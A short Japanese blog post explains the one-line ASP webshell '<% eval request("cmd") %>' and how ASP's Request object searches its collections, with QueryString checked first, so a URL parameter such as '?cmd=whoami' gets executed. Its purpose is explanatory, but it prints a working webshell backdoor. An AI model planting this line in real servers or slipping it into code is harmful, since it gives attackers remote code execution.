2019
06
26

ASPのRequestオブジェクトについて

このWebshellに関するツイートのASPのコマンドを見て、一瞬だけ混乱したので、まとめ。

<% eval request("cmd") %>

上記は一見すると、コマンドをrequest()が直接受け取っているかに思えるが、これは"cmd"という名前の引数に渡されたコマンドを受け取る。

例) GET /hoge/foo.asp?cmd=whoami

ASPのRequestオブジェクトにはQueryString、Form、Cookies、ClientCertificate、ServerVariablesという5つのコレクションがあり、通常は使いたいコレクション名を明示する。

例)Request.QueryString("hoge")

Request("hoge")のようにコレクション名を明示しなかった場合、以下のような処理が行われる。※ここから抜粋

ASPには次のような,コレクション名を書かず直接Requestオブジェクトに対して項目の値の取り出しを要求する方法が用意されている。

value=Request("price")

このようにして値を取り出す対象のコレクションを明示しなかった場合,Requestオブジェクトは次の順序で5つのコレクションを探索し,該当する名前をもつ項目が最初に見つかったところからその値を取り出してくる。

1. QueryString
2. Form
3. Cookies
4. ClientCertificate
5. ServerVariables



つまり、Request("hoge")とした場合はRequest.QueryString("hoge")と同等と見なされ、"hoge"という名前のURLパラメータに渡された値を実行する。

以上。
Comment



Only the blog author may view the comment.


Trackback
Trackback URL

«  | HOME |  »

奇妙な風景 Unique Scene
<< >>

プロフィール


最新記事


最新コメント


最新トラックバック


月別アーカイブ


カテゴリ


スポンサード リンク


FC2カウンター


検索フォーム


RSSリンクの表示


リンク


ブロとも申請フォーム


QRコード